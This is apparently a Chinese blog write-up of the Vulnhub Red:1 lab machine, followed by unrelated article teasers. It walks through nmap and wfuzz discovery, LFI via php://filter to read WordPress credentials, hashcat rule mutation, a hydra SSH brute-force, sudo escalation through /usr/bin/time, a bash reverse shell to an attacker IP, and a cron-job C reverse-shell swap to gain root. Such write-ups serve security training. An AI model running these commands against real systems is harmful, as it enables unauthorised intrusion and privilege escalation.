Red:1靶场环境部署及其渗透测试笔记(Vulnhub )
环境介绍:
靶机下载:
https://download.vulnhub.com/red/Red.ova
本次实验的环境需要用到VirtualBox(桥接网卡),VMware(桥接网卡)两台虚拟机(网段都在192.168.152.0/24)。
为什么要使用VirtualBox?
原因是我在WMware上搭建靶机,使用kali扫描,一直都扫描不上靶机的IP地址,查阅了一些资料说是在VirtualBox中可以使用,便进行了尝试,发现可以成功。
链接: https://pan.baidu.com/s/1RFJtq4Ea2LDF28kfmLMqow?pwd=5jk8 提取码: 5jk8
或者都在VirtualBox中进行打靶实验:把kali和RED1靶机都放到VirtualBox中去,全部都是桥接网卡,也能实现。
参考文档如下:
VirtualBox 桥接网卡设置-CSDN博客
VMware虚拟机配置桥接网络_vmware桥接模式-CSDN博客
注意:
在桥接的时候,如果你的电脑是用的wifi,记得选择如下图所示的网卡,进行右击属性,在这里面安装服务。

一.信息收集:
1.主机探测:
nmap -Pn 192.168.154.0/24

发现了靶机的IP地址
访问一下Web界面:发现有个搜索框,先随便输入一个数据

竟然不能访问:

在网址栏仔细的看了一下,它转成域名的形式进行搜索,看来是域名重定向了,那么我们就需要在hosts文件中进行DNS的映射的填充。
1.1.2.添加域名与IP地址地址的映射
windows:
win+R:
输入:C:\Windows\System32\drivers\etc\ //点击hosts文件(记得保存)
linux:
输入:vim /etc/hosts

这时在进行访问就变成了WordPress的CMS界面了
目录扫描了一下,发现了一个登录的界面,但不知道密码,暴力破解尝试了一下,但没有什么有用的信息,先暂时放一下
dirb http://redrocks.win/

通过点点点的形式,发现在http://redrocks.win/2021/10/24/hello-world/中,找到了点提示

Still Looking For It? Maybe you should ask Mr. Miessler for help, not that it matters, you won't be able to read anything with it anyway 还在找吗?也许你应该向米斯勒先生寻求帮助,但这并不重要,反正你也无法用它阅读任何东西
在谷歌浏览器上搜索一下 Mr. Miessler:

发现是一个字典,把它下载下来,我解压到了kali的 /usr/share/wordlists的路径下,使用find命令进行搜索,找到了一个php后门字典。

我们FUZZ一下,看看有什么线索。
wfuzz -w /usr/share/wordlists/SecLists/Discovery/Web-Content/Programming-Language-Specific/CommonBackdoors-PHP.fuzz.txt --hw 451 -u http://192.168.154.1/FUZZ
过滤了一个NetworkFileManagerPHP.php文件,访问一下,发现是一个空白页,说明被成功解析了


通常后门文件利用都是利用传参,这里在FUZZ一下参数。
wfuzz -w commot.txt -u http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=/etc/passwd -t 30
扫描这里的时候真的是非常的慢

成功找到了参数key并读取到了本地文件,说明是个LFI(本地文件包含)漏洞.

我们在查看一下这个NetworkFileManagerPHP.php的后门文件,看看能不能找到什么有用的信息

发现直接访问是没有信息返回的,试一下php伪协议。
1.1.3:php://filter 读取文件源码
使用文件包含函数包含文件时,文件中的代码会被执行,如果想要读取文件源码,需要使用base64对文件内容进行编码,编码后的文件内容不会被执行,而是展示在页面中,我们将页面中的内容使用base64解码,就可以获取的源码了。
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php


在解密一下NetworkFileManagerPHP.php文件里面的base64加密的数据。

翻译一下:仅凭密码是帮不了你的!Hashcat说规则就是规则
在读取下wp-config.php的文件信息(是wordpress的架构的配置文件,看有没有什么有用的信息)
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php

发现了一个用户john和他的密码R3v_m4lwh3r3_k1nG!! ,尝试ssh登录

发现登录不进去,回想之前的提示信息,发现需要使用hashcat进行规则的破解。
二.漏洞利用
3.1:hashcat规则破解
1.将之前获取john的密码保存到pass.txt(文件名随意)
2.使用如下命令进行规则的破解(需要使用best64的规则,前面看的加密文件也是best.64加密的)
hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt

注意:如果执行报错,有可能是虚拟机的内存给的太小了,改大一点即可。

3.1.1:hydra爆破ssh
hydra -l john -P passlist.txt 192.168.154.1 ssh
注意:字典的位置需要明确。

找到了正确的ssh密码,进行登录,登录成功

三.Linux提权:
4.1:sudo提权:

但不一会,ssh就会自己断开且密码每次登录都会改变,每次都需要进行破解,很是苦恼。我又重新登进去,在检查sudo权限的时候发现了一个免密登录的文件, ippsec用户在无密码的情况下可以执行/usr/bin/time命令

使用time经行提权:
Linux for Pentester: Time Privilege Escalation - Hacking Articles

命令:
sudo -u ippsec /usr/bin/time /bin/bash #提权到ippsec的用户上

提权成功,但现在还不是root权限,接着进行提权,在ippsec中反弹一个shell,否则ssh还是会断.
4.1.2:反弹shell
我们使用如下命令进行反弹shell
bash -i >& /dev/tcp/192.168.154.132/4444 0>&1

成功获取shell,稳定一下shell,这时候shell就不会在断了
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
curl + z //键盘的按键
stty raw -echo;fg
reset
//如果有报错需要在kali上先进行设置:(输入reset之后回车会出现乱码^M)
echo $SHELL
chsh -s /bin/bash
reboot #重启电脑linux

注:如果输入完后遇到了这样的情况:在输入一下即可:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

上传脚本到ipsec的/tmp路径下(/tmp一般对普通用户也是具有写的权限的)
在kali里面使用python开通http服务传递一下脚本:
python -m http.server
在ipsec的/tmp路径下使用wget进行下载:
192.168.154.132:8000/pspy64s
pspy64s 是一种命令行工具,无需root权限即可监听进程。可查看其他用户执行的命令
https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s

加权限:
chmod +x pspy64s
运行:
./pspy64s

发现了一个可疑文件属于root用户(时不时就会弹出来一次,显然是被做了计划任务)
进入该目录:
cd /var/www/wordpress/.git
查看一下这个文件,这个时候就会发现,cat和vim是替换了的

这个时候就可以替换掉supersecretfileuc.c文件,先进行删除,在创建一个新的supersecretfileuc.c文件,该文件使用c语言编写的反弹连接的命令.如下链接具有c语言的反弹shell
Online - Reverse Shell Generator

步骤如下:(记得vim和cat功能被替换了)

记得修改监听的端口和ip地址,等着就好

提权成功:

四.小结:
在root的计划任务中发现4个文件:

第一个就是被我们替换掉的文件

第二个文件,就是是不是在shell窗口中弹出的文字

第三个文件就是他对john账户修改的密码文件,导致密码是动态的

第四个文件,就是老断我们ssh链接的罪魁祸首

相关文章:
Red:1靶场环境部署及其渗透测试笔记(Vulnhub )
环境介绍: 靶机下载: https://download.vulnhub.com/red/Red.ova 本次实验的环境需要用到VirtualBox(桥接网卡),VMware(桥接网卡)两台虚拟机(网段都在192.168.152.0/24࿰…...
从 Java 到 Kotlin:在现有项目中迁移的最佳实践!
全文目录: 开篇语 1. 为什么选择 Kotlin?1.1 Kotlin 与 Java 的兼容性1.2 Kotlin 的优势1.3 Kotlin 的挑战 2. Kotlin 迁移最佳实践2.1 渐进式迁移2.1.1 步骤一:将 Kotlin 集成到现有的构建工具中2.1.2 步骤二:逐步迁移2.1.3 步骤…...
Java Collections工具类指南
一、Collections工具类概述 java.util.Collections是Java集合框架中提供的工具类,包含大量静态方法用于操作和返回集合。这些方法主要分为以下几类: 排序操作查找和替换同步控制不可变集合特殊集合视图其他实用方法 二、排序操作 1. 自然排序 List&…...
深入详解人工智能数学基础——概率论中的KL散度在变分自编码器中的应用
🧑 博主简介:CSDN博客专家、CSDN平台优质创作者,高级开发工程师,数学专业,10年以上C/C++, C#, Java等多种编程语言开发经验,拥有高级工程师证书;擅长C/C++、C#等开发语言,熟悉Java常用开发技术,能熟练应用常用数据库SQL server,Oracle,mysql,postgresql等进行开发应用…...
测试模版x
本篇技术博文摘要 🌟 引言 📘 在这个变幻莫测、快速发展的技术时代,与时俱进是每个IT工程师的必修课。我是盛透侧视攻城狮,一名什么都会一丢丢的网络安全工程师,也是众多技术社区的活跃成员以及多家大厂官方认可人员&a…...
Openharmony 和 HarmonyOS 区别?
文章目录 OpenHarmony 与 HarmonyOS 的区别:开源生态与商业发行版的定位差异一、定义与定位二、技术架构对比1. OpenHarmony2. HarmonyOS 三、应用场景差异四、开发主体与生态支持五、关键区别总结六、如何选择?未来展望 OpenHarmony 与 HarmonyOS 的区别…...
uniapp 仿小红书轮播图效果
通过对小红书的轮播图分析,可得出以下总结: 1.单张图片时容器根据图片像素定高 2.多图时轮播图容器高度以首图为锚点 3.比首图长则固高左右留白 4.比首图短则固宽上下留白 代码如下: <template><view> <!--轮播--><s…...
让Docker端口映射受Firewall管理而非iptables
要让Docker容器的端口映射受系统防火墙(如firewalld或ufw)管理,而不是直接通过iptables,可以按照以下步骤配置: 方法一:禁用Docker的iptables规则 (1)编辑Docker配置文件: vi /etc/docker/da…...
R/G-B/G色温坐标系下对横纵坐标取对数的优势
有些白平衡色温坐标系会分别对横纵坐标取对数运算。 这样做有什么优势呢? 我们知道对数函数对0-1之间的因变量值具有扩展作用。即自变量x变化比较小时,经过对数函数作用后可以把因变量扩展到较大范围内,即x变化较小时,y变化较大,增加了识别数据的识别性。 由于Raw数据中的…...
AI赋能安全调度系统:智能升级与功能跃迁
安全调度系统通过AI技术的深度整合,实现了从传统监控到智能决策的质变升级。这种智能化转型不仅提升了系统的响应速度和处理精度,更重塑了整个安全管理的运行范式。以下是AI技术为安全调度系统带来的核心功能强化: 智能风险识别与预警能力跃…...
数据结构与算法(十二):图的应用-最小生成树-Prim/Kruskal
相关文献: 数据结构与算法(一):基础理论 数据结构与算法(二):线性表的实现 数据结构与算法(三):线性表算法设计练习 数据结构与算法(四):斐波那契数列 数据结构与算法(五):LRU 数据结构与算法(六)ÿ…...
项目——高并发内存池
目录 项目介绍 做的是什么 要求 内存池介绍 池化技术 内存池 解决的问题 设计定长内存池 高并发内存池整体框架设计 ThreadCache ThreadCache整体设计 哈希桶映射对齐规则 ThreadCache TLS无锁访问 CentralCache CentralCache整体设计 CentralCache结构设计 C…...
系统与网络安全------弹性交换网络(2)
资料整理于网络资料、书本资料、AI,仅供个人学习参考。 Eth-Trunk 组网中经常会遇到的问题 链路聚合技术 概述 Eth-Trunk(链路聚合技术)作为一种捆绑技术,可以把多个独立的物理接口绑定在一起,作为一个大带宽的逻辑…...
信息系统项目管理工程师备考计算类真题讲解八
一、风险管理 示例1:EMV 解析:EMV(Expected Monetary Value)预期货币价值。一种定量风险分析技术。通过考虑各种风险事件的概率及其可能带来的货币影响,来计算项目的预期价值。 可以用下面的较长进行表示: 水路的EMV:7000*3/4(7…...
C# 结构(Struct)
原文:C# 结构(Struct)_w3cschool 在 C# 中,结构是值类型数据结构。它使得一个单一变量可以存储各种数据类型的相关数据。struct 关键字用于创建结构。 结构是用来代表一个记录。假设您想跟踪图书馆中书的动态。您可能想跟踪每本…...
vim的.vimrc配置
使用背景 没想到有一天会用上这玩意。 有时候处于安全等考虑,服务器无法使用vscode直连,虽然大部分操作使用async利用云开发机同步即可,但是偶尔想要方便的修改远端服务器的代码,就可能临时使用vim,所以还是记录下自己…...
优化uniappx页面性能,处理页面滑动卡顿问题
问题:在页面遇到滑动特别卡的情况就是在页面使用了动态样式或者动态类,做切换的时候页面重新渲染导致页面滑动卡顿 解决:把动态样式和动态类做的样式切换改为通过获取元素修改样式属性值 循环修改样式示例 bannerList.forEach((_, index)…...
Qt5.15.2+OpenCV4.9.0开发环境搭建详细图文教程(OpenCV使用Qt自带MinGW编译的全过程,包教包会)
【系列专栏】:博主结合工作实践输出的,解决实际问题的专栏,朋友们看过来! 《项目案例分享》 《极客DIY开源分享》 《嵌入式通用开发实战》 《C++语言开发基础总结》 《从0到1学习嵌入式Linux开发》 《QT开发实战》 《Android开发实战》 《实用硬件方案设计》 《结构建模设…...
springboot在eclipse里面运行 run as 是Java Application还是 Maven
在 Eclipse 里运行 Spring Boot 项目时,既可以选择以“Java Application”方式运行,也可以通过 Maven 命令来运行,下面为你详细介绍这两种方式及适用场景。 以“Java Application”方式运行 操作步骤 在项目中找到带有 SpringBootApplicat…...
【Luogu】动态规划三
P3842 [TJOI2007] 线段 - 洛谷 思路: 5道题里就这道算比较有意思的一道dp 按照贪心的想法,每一次我们都最好是走完后到端点处再往下走 所以我们这里定义 dp[i][0/1] 为走完第 i 行且位于 左/右端点 那么对于左端点,其可从上一个左边点走…...
【玩转全栈】—— 无敌前端究极动态组件库--Inspira UI
目录 Inspira UI 介绍 配置环境 使用示例 效果: Inspira UI 学习视频: 华丽优雅 | Inspira UI快速上手_哔哩哔哩_bilibili 官网:https://inspira-ui.com/ Inspira UI 介绍 Inspira UI 是一个设计精美、功能丰富的用户界面库,专为…...
时序数据库IoTDB构建的能源电力解决方案
随着能源格局的快速变化与“双碳”战略的逐步践行,电力系统的绿色低碳转型已成为重要发展趋势。在这一背景下,数字化、智能化技术正逐步扩大在新型电力系统发电侧、电网侧、储能侧的应用,以推动传统电力发输配用向全面感知、双向互动、智能高…...
《求知导刊》是CN期刊吗?学术期刊吗?
《求知导刊》是CN 期刊,同时也属于学术期刊。 CN 期刊的定义 CN 期刊是指在我国境内注册、经国家新闻出版署批准公开发行的期刊,具备国内统一连续出版物号(CN 号)。这是判断期刊是否为正规合法期刊的重要标准。 《求知导刊》的 C…...
动手试一试 Spring Security入门
1.创建Spring Boot项目 引入Web和Thymeleaf的依赖启动器 2.引入页面Html资源文件 在项目的resources下templates目录中,引入案例所需的资源文件(下载地址),项目结构如下 3.创建控制器 Controller public class FilmController…...
使用若依二次开发商城系统-4:商品属性
功能3:商品分类 功能2:商品品牌 功能1:搭建若依运行环境前言 商品属性功能类似若依自带的字典管理,分两步,先设置属性名,再设置对应的属性值。 一.操作步骤 1)数据库表product_property和pro…...
PCB封装主要组成元素
PCB(Printed Circuit Board,印刷电路板)封装是指将电子元件固定在 PCB 上,并实现电气连接的方式。主要包括以下几类。 1. 焊盘(Pad) 作用:焊盘是 PCB 封装中最重要的元素之一,它是…...
《ATPL地面培训教材13:飞行原理》——第1章:概述与定义
翻译:刘远贺;辅助工具:Cluade 3.7 第1章:概述与定义 目录 概述一般定义术语表符号列表希腊符号其他自我评估问题答案 概述 飞机的基本要求如下: 机翼产生升力; 机身容纳载荷; 尾部表面增加…...
实时数字人——DH_LIVE
前两天亲手搭建了实时对话数字人VideoChat,今天来搭建下DH_LIVE。 DH_LIVE一个实时数字人解决方案,从输入文字到数字人对口型说话用时2-3秒。 今天就来实际操作下dh_live的搭建过程。 首先贴上git地址:https://github.com/kleinlee/DH_liv…...
SDC命令详解:使用remove_sdc命令移除约束
相关阅读 SDC命令详解https://blog.csdn.net/weixin_45791458/category_12931432.html?spm1001.2014.3001.5482 remove_sdc命令用于移除当前设计中设置的所有SDC约束,需要注意的是,UPF约束不会被移除,要想移除UPF约束,需要使用r…...
基于 EFISH-SBC-RK3588 的无人机多光谱/红外热成像边缘计算方案
一、硬件架构设计 核心算力平台(EFISH-SBC-RK3588) 处理器性能:搭载 8 核 ARM 架构(4Cortex-A762.4GHz 4Cortex-A551.8GHz),集成 6 TOPS NPU 与 Mali-G610 GPU,支持多光谱图像实时融…...
